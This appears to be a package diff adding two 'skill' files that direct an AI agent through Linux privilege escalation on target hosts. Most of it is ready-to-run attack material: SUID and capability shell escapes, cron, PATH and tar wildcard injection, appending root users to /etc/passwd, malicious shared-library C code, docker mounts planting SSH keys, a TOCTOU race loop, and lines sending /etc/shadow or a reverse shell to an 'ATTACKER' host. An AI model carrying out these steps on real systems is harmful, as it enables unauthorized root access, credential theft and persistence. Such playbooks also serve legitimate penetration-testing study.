ineedcodes 1.6.1 → 1.7.0

package/skills/linux-privilege-escalation/SKILL.md

@@ -0,0 +1,346 @@
+---
+name: linux-privilege-escalation
+description: >-
+  Linux privilege escalation playbook. Use when you have low-privilege shell access and need to escalate to root via SUID/SGID binaries, capabilities, cron abuse, kernel exploits, misconfigurations, or credential harvesting on Linux systems.gated: true
+---
+
+# SKILL: Linux Privilege Escalation — Expert Attack Playbook
+
+> **AI LOAD INSTRUCTION**: Expert Linux privesc techniques. Covers enumeration, SUID/SGID, capabilities, cron abuse, kernel exploits, NFS, writable passwd/shadow, LD_PRELOAD, Docker group, and library hijacking. Base models miss subtle escalation paths via capabilities and combined misconfigurations.
+
+## 0. RELATED ROUTING
+
+Before going deep, consider loading:
+
+- [container-escape-techniques](../container-escape-techniques/SKILL.md) when the target is a container and you need to escape to host
+- [linux-security-bypass](../linux-security-bypass/SKILL.md) when facing restricted shells, AppArmor, SELinux, or seccomp
+- [linux-lateral-movement](../linux-lateral-movement/SKILL.md) after obtaining root for pivoting to adjacent hosts
+- [kubernetes-pentesting](../kubernetes-pentesting/SKILL.md) when the host is a Kubernetes node
+
+### Advanced Reference
+
+Also load [SUID_CAPABILITIES_TRICKS.md](./SUID_CAPABILITIES_TRICKS.md) when you need:
+- Top 30 SUID binaries with exact exploitation commands (GTFOBins)
+- Capability-specific exploitation for each dangerous cap
+- Custom SUID binary exploitation methodology
+
+Also load [KERNEL_EXPLOITS_CHECKLIST.md](./KERNEL_EXPLOITS_CHECKLIST.md) when you need:
+- Kernel version → exploit mapping table (DirtyPipe, DirtyCow, OverlayFS, etc.)
+- Exploit compilation tips and cross-compilation notes
+- Kernel exploit stability assessment
+
+---
+
+## 1. ENUMERATION CHECKLIST
+
+Run these immediately after landing a shell:
+
+### System Info
+
+```bash
+uname -a                        # Kernel version
+cat /etc/os-release             # Distro and version
+cat /proc/version               # Kernel compile info
+hostname && id && whoami        # Current context
+```
+
+### Sudo & SUID/SGID
+
+```bash
+sudo -l                         # What can we run as root?
+find / -perm -4000 -type f 2>/dev/null   # SUID binaries
+find / -perm -2000 -type f 2>/dev/null   # SGID binaries
+getcap -r / 2>/dev/null         # Files with capabilities
+```
+
+### Cron & Timers
+
+```bash
+cat /etc/crontab
+ls -la /etc/cron.*
+crontab -l
+systemctl list-timers --all     # systemd timers
+```
+
+### Writable Files & Dirs
+
+```bash
+find / -writable -type f 2>/dev/null | grep -v proc
+ls -la /etc/passwd /etc/shadow  # Check permissions
+find / -perm -o+w -type d 2>/dev/null   # World-writable dirs
+```
+
+### Network & Services
+
+```bash
+ss -tlnp                        # Listening services
+cat /proc/net/tcp               # Raw TCP connections
+ps aux                          # Running processes
+env                             # Environment variables (credentials?)
+```
+
+### Credential Locations
+
+```bash
+cat ~/.bash_history
+cat ~/.mysql_history
+find / -name "*.conf" -o -name "*.cfg" -o -name "*.ini" 2>/dev/null | head -30
+find / -name "id_rsa" -o -name "*.pem" -o -name "*.key" 2>/dev/null
+```
+
+---
+
+## 2. SUID/SGID EXPLOITATION
+
+### GTFOBins Methodology
+
+1. Find SUID binaries: `find / -perm -4000 -type f 2>/dev/null`
+2. Cross-reference each with [GTFOBins](https://gtfobins.github.io/)
+3. Use the "SUID" section specifically — not all binary abuse works with SUID
+
+### Quick-Win SUID Escalations
+
+| Binary | Command |
+|---|---|
+| `bash` | `bash -p` |
+| `find` | `find . -exec /bin/sh -p \; -quit` |
+| `vim` | `vim -c ':!/bin/sh'` |
+| `python` | `python -c 'import os; os.execl("/bin/sh","sh","-p")'` |
+| `env` | `env /bin/sh -p` |
+| `nmap` (old) | `nmap --interactive` → `!sh` |
+| `awk` | `awk 'BEGIN {system("/bin/sh -p")}'` |
+| `less` | `less /etc/passwd` → `!/bin/sh` |
+| `cp` | Copy `/etc/passwd`, add root user, copy back |
+
+### Shared Library Hijacking (SUID Binary)
+
+```bash
+ldd /usr/local/bin/suid_binary                    # Check loaded libraries
+strace /usr/local/bin/suid_binary 2>&1 | grep -i "open.*\.so"  # Find load paths
+
+# If it loads from a writable directory — inject constructor:
+gcc -shared -fPIC -o /writable/path/libevil.so evil.c
+# evil.c: __attribute__((constructor)) → setuid(0); system("/bin/bash -p")
+```
+
+---
+
+## 3. CAPABILITIES ABUSE
+
+| Capability | Risk | Exploitation |
+|---|---|---|
+| `cap_setuid` | **Critical** | `python3 -c 'import os;os.setuid(0);os.system("/bin/bash")'` |
+| `cap_dac_override` | **Critical** | Read/write any file regardless of permissions |
+| `cap_dac_read_search` | **High** | Read any file — dump `/etc/shadow` |
+| `cap_sys_admin` | **Critical** | Mount filesystems, BPF, namespace manipulation |
+| `cap_sys_ptrace` | **High** | Inject into root processes via ptrace |
+| `cap_net_raw` | **Medium** | Sniff traffic, ARP spoofing |
+| `cap_net_bind_service` | **Low** | Bind to privileged ports (<1024) |
+| `cap_fowner` | **High** | Change ownership of any file |
+
+```bash
+# Find binaries with capabilities
+getcap -r / 2>/dev/null
+
+# Example: python3 with cap_setuid
+# /usr/bin/python3 = cap_setuid+ep
+python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
+```
+
+---
+
+## 4. CRON / TIMER ABUSE
+
+### Writable Cron Scripts
+
+```bash
+# Find cron jobs running as root
+cat /etc/crontab | grep root
+ls -la /etc/cron.d/
+
+# If a root-owned cron runs a script writable by current user:
+echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /writable/script.sh
+# Wait for cron → /tmp/bash -p
+```
+
+### PATH Hijacking in Cron
+
+```bash
+# If crontab has: PATH=/home/user:/usr/local/bin:/usr/bin
+# And runs: * * * * * root backup.sh (without full path)
+# Create /home/user/backup.sh:
+echo '#!/bin/bash' > /home/user/backup.sh
+echo 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash' >> /home/user/backup.sh
+chmod +x /home/user/backup.sh
+```
+
+### Wildcard Injection (tar)
+
+```bash
+# If cron runs: tar czf /backup/archive.tar.gz *
+# In the target directory, create:
+echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' > shell.sh
+echo "" > "--checkpoint-action=exec=sh shell.sh"
+echo "" > "--checkpoint=1"
+# tar interprets filenames as arguments
+```
+
+### pspy — Monitor Processes Without Root
+
+```bash
+# Upload pspy64 or pspy32 to target
+./pspy64
+# Watch for cron jobs, services, and background processes
+```
+
+---
+
+## 5. NFS NO_ROOT_SQUASH
+
+```bash
+# On attacker: check exported shares
+showmount -e TARGET_IP
+
+# If no_root_squash is set:
+mount -t nfs TARGET_IP:/share /mnt/nfs
+# As root on attacker box:
+cp /bin/bash /mnt/nfs/bash
+chmod +s /mnt/nfs/bash
+
+# On target:
+/share/bash -p    # root shell
+```
+
+---
+
+## 6. WRITABLE /etc/passwd OR /etc/shadow
+
+### Writable /etc/passwd
+
+```bash
+# Generate password hash
+openssl passwd -1 -salt xyz password123
+# → $1$xyz$...hash...
+
+# Append root-equivalent user
+echo 'hacker:$1$xyz$hash:0:0::/root:/bin/bash' >> /etc/passwd
+
+# Or replace root's 'x' with generated hash (if no shadow file)
+```
+
+### Writable /etc/shadow
+
+```bash
+# Generate SHA-512 hash
+mkpasswd -m sha-512 password123
+
+# Replace root's hash in /etc/shadow
+```
+
+---
+
+## 7. LD_PRELOAD / LD_LIBRARY_PATH WITH SUDO
+
+```bash
+# If sudo -l shows: env_keep+=LD_PRELOAD or env_keep+=LD_LIBRARY_PATH
+# Compile .so with _init() that calls setresuid(0,0,0) + system("/bin/bash -p")
+gcc -fPIC -shared -nostartfiles -o /tmp/pe.so /tmp/pe.c
+sudo LD_PRELOAD=/tmp/pe.so /usr/bin/some_allowed_binary
+```
+
+---
+
+## 8. DOCKER GROUP → ROOT
+
+```bash
+# If current user is in the docker group:
+id    # check for "docker" in groups
+
+# Mount host filesystem
+docker run -v /:/mnt --rm -it alpine chroot /mnt sh
+
+# Or add SSH key
+docker run -v /root:/mnt --rm -it alpine sh -c \
+  'echo "ssh-rsa AAAA..." >> /mnt/.ssh/authorized_keys'
+```
+
+---
+
+## 9. PYTHON / PERL / RUBY LIBRARY HIJACKING
+
+```bash
+# Python: if a root-executed script does "import somelib"
+# Check python path order:
+python3 -c 'import sys; print("\n".join(sys.path))'
+
+# Place malicious module in writable path that comes first:
+cat > /writable/path/somelib.py << 'EOF'
+import os
+os.system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash")
+EOF
+
+# Perl: PERL5LIB / @INC manipulation
+# Ruby: RUBYLIB / $LOAD_PATH manipulation
+```
+
+---
+
+## 10. AUTOMATED TOOLS
+
+| Tool | Purpose | Command |
+|---|---|---|
+| **LinPEAS** | Comprehensive enumeration | `curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh \| sh` |
+| **linux-exploit-suggester** | Kernel exploit suggestions | `./linux-exploit-suggester.sh` |
+| **pspy** | Monitor processes (no root needed) | `./pspy64` |
+| **LinEnum** | Legacy enumeration | `./LinEnum.sh -t` |
+| **GTFOBins** | SUID/sudo/capability abuse reference | https://gtfobins.github.io/ |
+
+---
+
+## 11. PRIVILEGE ESCALATION DECISION TREE
+
+```
+Low-privilege shell obtained
+│
+├── sudo -l shows entries?
+│   ├── GTFOBins match? → exploit directly
+│   ├── env_keep has LD_PRELOAD? → LD_PRELOAD hijack (§7)
+│   ├── NOPASSWD on custom script? → review script for injection
+│   └── (ALL) with password? → check for password reuse/hashes
+│
+├── SUID/SGID binaries found?
+│   ├── Standard binary on GTFOBins? → SUID exploit (§2)
+│   ├── Custom binary? → reverse engineer, check libs (strace/ltrace)
+│   └── Shared lib from writable path? → library hijack (§2)
+│
+├── Capabilities on binaries?
+│   ├── cap_setuid? → instant root (§3)
+│   ├── cap_dac_override? → write /etc/passwd (§6)
+│   ├── cap_sys_admin? → mount / namespace tricks
+│   └── cap_sys_ptrace? → process injection
+│
+├── Cron jobs running as root?
+│   ├── Writable script? → inject payload (§4)
+│   ├── Missing full path? → PATH hijack (§4)
+│   └── Uses wildcards? → wildcard injection (§4)
+│
+├── Writable sensitive files?
+│   ├── /etc/passwd writable? → add root user (§6)
+│   ├── /etc/shadow writable? → replace root hash (§6)
+│   └── systemd unit files writable? → add ExecStartPre
+│
+├── Docker/LXD group membership?
+│   └── Yes → mount host filesystem (§8)
+│
+├── NFS shares with no_root_squash?
+│   └── Yes → SUID binary via NFS (§5)
+│
+├── Kernel version old/unpatched?
+│   └── Check KERNEL_EXPLOITS_CHECKLIST.md
+│
+└── None of the above?
+    ├── Run LinPEAS for comprehensive scan
+    ├── Check for password reuse (bash_history, config files)
+    ├── Check internal services (127.0.0.1 listeners)
+    └── Monitor processes with pspy for hidden opportunities
+```

package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md

@@ -0,0 +1,305 @@
+# SUID/SGID & Capabilities Exploitation Tricks
+
+> **AI LOAD INSTRUCTION**: Load this for detailed SUID binary exploitation commands (GTFOBins top 30), capability-specific abuse techniques, and custom SUID exploitation methodology. Assumes the main [SKILL.md](./SKILL.md) is already loaded for enumeration and general privesc flow.
+
+---
+
+## 1. TOP 30 SUID BINARIES — EXPLOITATION COMMANDS
+
+All commands below assume the binary has the SUID bit set (`-rwsr-xr-x` with root ownership).
+
+### 1.1 Shell / Interpreters
+
+| # | Binary | Exploit Command | Notes |
+|---|---|---|---|
+| 1 | `bash` | `bash -p` | `-p` preserves effective UID |
+| 2 | `sh` | `sh -p` | Same as bash |
+| 3 | `dash` | `dash -p` | Common on Debian |
+| 4 | `zsh` | `zsh` | Drops to root without flags |
+| 5 | `csh` | `csh` | Inherits SUID |
+| 6 | `python` | `python -c 'import os; os.execl("/bin/sh","sh","-p")'` | Works for python2/3 |
+| 7 | `perl` | `perl -e 'exec "/bin/sh";'` | — |
+| 8 | `ruby` | `ruby -e 'exec "/bin/sh"'` | — |
+| 9 | `lua` | `lua -e 'os.execute("/bin/sh")'` | — |
+| 10 | `php` | `php -r 'pcntl_exec("/bin/sh", ["-p"]);'` | Needs pcntl extension |
+
+### 1.2 File Readers / Editors
+
+| # | Binary | Exploit Command | Notes |
+|---|---|---|---|
+| 11 | `vim` / `vi` | `vim -c ':!/bin/sh'` | Or `:set shell=/bin/sh` then `:shell` |
+| 12 | `nano` | `nano /etc/shadow` → read hashes | No direct shell; use for file read/write |
+| 13 | `less` | `less /etc/shadow` → `!/bin/sh` | Press `!` then enter command |
+| 14 | `more` | `more /etc/shadow` → `!/bin/sh` | Must be in paging mode (small terminal) |
+| 15 | `ed` | `ed` → `!/bin/sh` | Line editor |
+| 16 | `man` | `man man` → `!/bin/sh` | Uses pager (less) internally |
+| 17 | `view` | `view -c ':!/bin/sh'` | Read-only vim variant |
+
+### 1.3 File Operations
+
+| # | Binary | Exploit Command | Notes |
+|---|---|---|---|
+| 18 | `cp` | `cp /etc/shadow /tmp/shadow` | Read sensitive files; or overwrite `/etc/passwd` |
+| 19 | `mv` | Replace `/etc/passwd` with crafted version | Destructive — backup first |
+| 20 | `cat` | `cat /etc/shadow` | Read-only — crack hashes offline |
+| 21 | `tee` | `echo 'hacker:...:0:0::/root:/bin/bash' \| tee -a /etc/passwd` | Append to files |
+| 22 | `dd` | `dd if=/etc/shadow of=/tmp/shadow` | Raw file copy |
+
+### 1.4 Execution / Utility
+
+| # | Binary | Exploit Command | Notes |
+|---|---|---|---|
+| 23 | `find` | `find . -exec /bin/sh -p \; -quit` | Classic GTFOBins |
+| 24 | `awk` | `awk 'BEGIN {system("/bin/sh -p")}'` | — |
+| 25 | `env` | `env /bin/sh -p` | — |
+| 26 | `nmap` | Old: `nmap --interactive` → `!sh`; New: `nmap --script=<(echo 'os.execute("/bin/sh")')` | `--interactive` removed in 5.21+ |
+| 27 | `strace` | `strace -o /dev/null /bin/sh -p` | Trace = execute |
+| 28 | `ltrace` | `ltrace -b -L /bin/sh -p` | Same concept |
+| 29 | `taskset` | `taskset 1 /bin/sh -p` | CPU affinity wrapper = execute |
+| 30 | `time` | `time /bin/sh -p` | Timing wrapper |
+
+### 1.5 Network Binaries with SUID
+
+| Binary | Exploit | Notes |
+|---|---|---|
+| `wget` | `wget --post-file=/etc/shadow http://ATTACKER/` | Exfiltrate; or `wget -O /etc/cron.d/rev http://ATTACKER/cron` |
+| `curl` | `curl file:///etc/shadow`; `curl -o /etc/cron.d/rev http://ATTACKER/cron` | Read/write files |
+| `socat` | `socat stdin exec:/bin/sh,pty,stderr,setsid,sigint,sane` | Full TTY root shell |
+| `nc` / `ncat` | Bind/reverse shell as root | `nc -e /bin/sh ATTACKER PORT` |
+
+---
+
+## 2. CAPABILITY-SPECIFIC EXPLOITATION
+
+### 2.1 cap_setuid (Most Dangerous)
+
+Any binary with this capability can change its UID to 0.
+
+```bash
+# Python
+/usr/bin/python3 = cap_setuid+ep
+python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
+
+# Perl
+/usr/bin/perl = cap_setuid+ep
+perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
+
+# PHP
+/usr/bin/php = cap_setuid+ep
+php -r 'posix_setuid(0); system("/bin/bash");'
+
+# Ruby
+/usr/bin/ruby = cap_setuid+ep
+ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
+
+# Node.js
+/usr/bin/node = cap_setuid+ep
+node -e 'process.setuid(0); require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'
+```
+
+### 2.2 cap_dac_override (Bypass File Permissions)
+
+Can read/write ANY file regardless of ownership/permissions.
+
+```bash
+# If vim has cap_dac_override:
+vim /etc/shadow          # Read and edit shadow file
+vim /etc/passwd          # Add root-level user
+vim /root/.ssh/authorized_keys   # Plant SSH key
+
+# If python has cap_dac_override:
+python3 -c '
+f = open("/etc/shadow"); print(f.read())
+'
+# Or write:
+python3 -c '
+with open("/etc/passwd","a") as f:
+    f.write("hacker:$1$xyz$hash:0:0::/root:/bin/bash\n")
+'
+```
+
+### 2.3 cap_dac_read_search (Read Any File)
+
+```bash
+# If tar has cap_dac_read_search:
+tar czf /tmp/shadow.tar.gz /etc/shadow
+tar xzf /tmp/shadow.tar.gz -C /tmp/
+
+# If base64 has it:
+base64 /etc/shadow | base64 -d
+```
+
+### 2.4 cap_sys_admin (Mount, BPF, Namespaces)
+
+```bash
+# Mount host filesystem (in a container context)
+mkdir /mnt/host
+mount /dev/sda1 /mnt/host
+# Full host access
+
+# Abuse via unshare (create user namespace, remap UID)
+unshare -r /bin/bash
+# Now root inside the namespace
+```
+
+### 2.5 cap_sys_ptrace (Process Injection)
+
+```bash
+# Inject into a root process
+python3 << 'PYEOF'
+import ctypes, sys
+
+libc = ctypes.CDLL("libc.so.6")
+PTRACE_ATTACH = 16
+PTRACE_POKETEXT = 4
+PTRACE_DETACH = 17
+
+pid = int(sys.argv[1])  # PID of root process
+libc.ptrace(PTRACE_ATTACH, pid, 0, 0)
+# ... inject shellcode into process memory ...
+PYEOF
+
+# Simpler: use gdb if available
+gdb -p <root_pid> -batch -ex 'call system("chmod +s /bin/bash")'
+```
+
+### 2.6 cap_net_raw (Network Sniffing)
+
+```bash
+# If tcpdump has cap_net_raw:
+tcpdump -i eth0 -w /tmp/capture.pcap -c 1000
+
+# If python has cap_net_raw:
+# Use scapy to sniff credentials
+python3 -c '
+from scapy.all import *
+sniff(filter="tcp port 80", prn=lambda p: p.show(), count=50)
+'
+```
+
+### 2.7 cap_fowner (Change File Ownership)
+
+```bash
+# Change ownership of /etc/shadow to current user
+python3 -c 'import os; os.chown("/etc/shadow", 1000, 1000)'
+# Now read/modify shadow as normal user
+```
+
+### 2.8 cap_chown (Change Ownership of Any File)
+
+```bash
+# Similar to cap_fowner — take ownership of sensitive files
+chown $(id -u):$(id -g) /etc/shadow
+```
+
+---
+
+## 3. CUSTOM SUID BINARY EXPLOITATION
+
+### 3.1 Methodology
+
+```
+Custom SUID binary found?
+│
+├── 1. Identify the binary type
+│   ├── file /path/to/binary          → ELF? script wrapper?
+│   └── strings /path/to/binary       → find hardcoded paths, commands
+│
+├── 2. Analyze behavior
+│   ├── strace /path/to/binary 2>&1   → syscalls (open, exec, access)
+│   ├── ltrace /path/to/binary 2>&1   → library calls (system, popen)
+│   └── Run with various inputs       → observe behavior
+│
+├── 3. Find injection vectors
+│   ├── Calls system()/popen() with user input? → command injection
+│   ├── Opens files from PATH? → PATH hijack
+│   ├── Loads shared libs from writable dir? → lib hijack
+│   ├── Reads config from writable location? → config poisoning
+│   └── Uses relative paths for commands? → PATH hijack
+│
+└── 4. Exploit
+    ├── PATH hijack: export PATH=/tmp:$PATH; create /tmp/<command>
+    ├── Lib hijack: place evil .so in writable RPATH/RUNPATH
+    ├── Command injection: inject shell metacharacters
+    └── Race condition: TOCTOU on checked files
+```
+
+### 3.2 PATH Hijacking Example
+
+```bash
+# Binary runs "service apache2 restart" (relative path)
+strings /usr/local/bin/suid_binary | grep service
+
+# Create malicious "service" in PATH
+echo '#!/bin/bash' > /tmp/service
+echo 'cp /bin/bash /tmp/bash && chmod +s /tmp/bash' >> /tmp/service
+chmod +x /tmp/service
+export PATH=/tmp:$PATH
+
+# Execute the SUID binary
+/usr/local/bin/suid_binary
+# → /tmp/bash -p
+```
+
+### 3.3 Shared Library Hijacking via RPATH/RUNPATH
+
+```bash
+# Check RPATH/RUNPATH
+readelf -d /usr/local/bin/suid_binary | grep -i path
+# RUNPATH: /home/user/lib
+
+# Check what libraries it needs
+ldd /usr/local/bin/suid_binary
+# libcustom.so => not found
+
+# Create malicious library
+cat > /tmp/evil.c << 'EOF'
+#include <stdlib.h>
+#include <unistd.h>
+static void pwn() __attribute__((constructor));
+void pwn() {
+    setuid(0); setgid(0);
+    system("/bin/bash -p");
+}
+EOF
+gcc -shared -fPIC -o /home/user/lib/libcustom.so /tmp/evil.c
+
+# Run the SUID binary → root shell
+```
+
+### 3.4 TOCTOU Race Condition
+
+```bash
+# If SUID binary checks file permission then reads it:
+# access("/tmp/userfile", R_OK) → open("/tmp/userfile")
+
+# Race: swap file between check and open
+while true; do
+    ln -sf /home/user/allowed.txt /tmp/userfile
+    ln -sf /etc/shadow /tmp/userfile
+done &
+
+# Repeatedly run the SUID binary
+while true; do
+    /usr/local/bin/suid_binary /tmp/userfile 2>/dev/null | grep root && break
+done
+```
+
+---
+
+## 4. QUICK-REFERENCE: CAPABILITIES → EXPLOITATION
+
+| Capability | Attack Type | Impact |
+|---|---|---|
+| `cap_setuid+ep` | Direct UID change | **Root shell** |
+| `cap_setgid+ep` | Direct GID change | **Root group** |
+| `cap_dac_override+ep` | Read/write any file | **Shadow/passwd edit** |
+| `cap_dac_read_search+ep` | Read any file | **Credential dump** |
+| `cap_sys_admin+ep` | Mount, BPF, namespace | **Host filesystem** |
+| `cap_sys_ptrace+ep` | Process injection | **Root process hijack** |
+| `cap_sys_module+ep` | Load kernel modules | **Kernel rootkit** |
+| `cap_net_raw+ep` | Raw sockets | **Credential sniffing** |
+| `cap_fowner+ep` | Change file ownership | **Shadow ownership** |
+| `cap_chown+ep` | Change any ownership | **Same as fowner** |
+| `cap_kill+ep` | Signal any process | **DoS / race conditions** |
+| `cap_net_bind_service+ep` | Bind port <1024 | **Service impersonation** |